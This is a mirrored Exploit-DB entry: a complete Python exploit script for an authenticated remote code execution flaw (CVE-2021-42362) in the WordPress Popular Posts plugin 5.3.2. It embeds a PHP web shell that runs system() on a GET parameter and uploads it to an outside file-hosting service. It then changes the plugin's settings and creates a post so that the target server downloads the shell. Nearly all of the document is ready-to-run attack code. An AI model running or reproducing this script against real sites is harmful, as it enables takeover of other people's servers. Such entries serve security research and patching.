WordPress Plugin Popular Posts 5.3.2 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Simone Cristofaro
    日期: 2021-07-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50129/
  • # Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
    # Date: 15/07/2021
    # Exploit Author: Simone Cristofaro
    # Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
    # Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
    # Version: 5.3.2 or below
    # Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
    # CVE: CVE-2021-42362
    # Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
    # Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
    # enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.
    
    # This script will login with the provided credentials, create a new post and add a custom field with the link to a
    # web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
    # provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
    # set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)
    
    '''
    Banner:
    '''
    banner = """
    * WordPress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)
    * @Heisenberg
    """
    print(banner)
    
    '''
    Import required modules:
    '''
    import requests
    import argparse
    import json
    import re
    '''
    User-Input:
    '''
    my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
    my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")
    my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")
    my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")
    my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
    my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
    args = my_parser.parse_args()
    target_ip = args.target_ip
    target_port = args.target_port
    wp_path = args.wp_path
    username = args.username
    password = args.password
    
    ''' 
    # Hard coded parameters (if you don't like command line execution) 
    target_ip = "localhost"
    target_port = "80"
    wp_path = "/wordpress/"
    username = "heisenberg"
    password = "heisenberg"
    '''
    
    shell_name = 'exploit.gif.php'
    payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'
    
    print('')
    print('[*] Starting Exploit:')
    
    '''
    Upload file
    '''
    file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})
    resp = json.loads(file_json.text)
    if resp['status']:
    urlshort = resp['data']['file']['url']['full']
    else:
     print(f'[-] Error:'+ resp['error']['message'])
     exit()
    
    file_uploaded_site = requests.get(urlshort).text
    PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name
    
    print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')
    
    '''
    Authentication:
    '''
    session = requests.Session()
    auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
    
    # Header:
    header = {
    'Host': target_ip,
    'User-Agent': 'Monies Browser 1.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
    }
    
    # Body:
    body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
    }
    
    # Authenticate:
    auth = session.post(auth_url, headers=header, data=body)
    auth_header = auth.headers['Set-Cookie']
    if 'wordpress_logged_in' in auth_header:
    print(f'[+] Authentication successfull as user [{username}] !')
    else:
    print('[-] Authentication failed ! Check username and password')
    exit()
    
    '''
    Verify that the requirements are installed
    '''
    settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
    settings_page = session.get(settings_page_url).text
    search_string = ' gd'
    if settings_page.find(search_string) == -1 :
    print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
    exit()
    
    '''
    Get the wpp-admin-token
    '''
    settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'
    
    settings_page = session.get(settings_page_url).text
    search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
    search_string_end = '" />'
    settings_page = settings_page[settings_page.find(search_string):]
    wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]
    if wpp_admin_token:
    print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')
    else:
    print('[-] Error while gathering wpp-admin-token !')
    exit()
    
    '''
    Apply changes to the Popular Posts plugin
    '''
    body = {
    'upload_thumb_src': '',
    'thumb_source': 'custom_field',
    'thumb_lazy_load': 1,
    'thumb_field': 'wpp_thumbnail',
    'thumb_field_resize': 1,
    'section': 'thumb',
    'wpp-admin-token': wpp_admin_token
    }
    applied_changes = session.post(settings_page_url, headers=header, data=body).text
    if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
    print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
    else:
    print('[-] Error while applying settings o the Popular Posts plugin!')
    exit()
    
    '''
    Empty image cache
    '''
    body = {
    'action': 'wpp_clear_thumbnail',
    'wpp-admin-token': wpp_admin_token
    }
    applied_changes = session.post(settings_page_url, headers=header, data=body).text
    print(f'[+] Images cache cleared. ')
    
    
    '''
    Get the new post ID and Nonce
    '''
    new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'
    
    new_post_page = session.get(new_post_url).text
    search_string = 'name="_ajax_nonce-add-meta" value="'
    search_string_end = '" />'
    new_post_page = new_post_page[new_post_page.find(search_string)+35:]
    ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]
    
    search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
    search_string_end = '" );'
    new_post_page = new_post_page[new_post_page.find(search_string)+66:]
    wp_nonce = new_post_page[:new_post_page.find(search_string_end)]
    
    search_string = '},"post":{"id":'
    search_string_end = ','
    new_post_page = new_post_page[new_post_page.find(search_string)+15:]
    post_ID = new_post_page[:new_post_page.find(search_string_end)]
    
    if post_ID and wp_nonce and ajax_nonce:
    print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')
    else:
    if not post_ID: print('[-] Error while gathering post_ID !')
    elif not wp_nonce: print('[-] Error while gathering WordPress Nonce !')
    elif not ajax_nonce :print('[-] Error while gathering WordPress AJAX Nonce !')
    exit()
    
    '''
    Publish a new post
    '''
    new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'
    
    data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}
    header['X-WP-Nonce'] = wp_nonce
    header['Content-Type'] = 'application/json'
    header['X-HTTP-Method-Override'] = 'PUT'
    new_post_page = session.post(new_post_url, headers=header, json=data).text
    if new_post_page.find('"status":"publish"'):
    print(f'[+] New post named [I\'m the one who knocks] published correctly!')
    else:
    print('[-] Error while publishing the new post !')
    exit()
    
    '''
    Add the Custom Filed
    '''
    new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'
    
    header.pop('X-WP-Nonce')
    header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
    header.pop('X-HTTP-Method-Override')
    header['Accept']='*/*'
    header['X-Requested-With'] = 'XMLHttpRequest'
    body = {
    '_ajax_nonce': 0,
    'action': 'add-meta',
    'metakeyselect': 'wpp_thumbnail',
    'metakeyinput': "",
    'metavalue' : PHP_URL,
    '_ajax_nonce-add-meta': ajax_nonce,
    'post_id' : post_ID
    }
    new_post_page = session.post(new_post_url, headers=header, data=body).text
    
    if new_post_page.find("<tr id='meta-") > 0:
    print(f'[+] Added a new Custom Field with the uploaded web shell.')
    else:
    print('[-] Error while adding the custom field !')
    print(new_post_page)
    exit()
    
    '''
    Give it some views to pop it up in the recent posts
    '''
    print(f'[+] Giving the new post some views (10) [ ', end="")
    
    new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID
    redirect_url = session.get(new_post_url).url
    
    new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'
    data = {
    '_wpnonce': wp_nonce,
    'wpp_id': post_ID,
    'sampling': 0,
    'sampling_rate': 100
    }
    
    
    for progress in range(10):
    session.get(redirect_url)
    res = session.post(new_post_plugin_url, headers=header, data=data)
    print ('=', end='')
    
    print(' ] '+json.loads(res.text)['results'])
    
    print('[+] Exploit done !')
    print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)
    print('')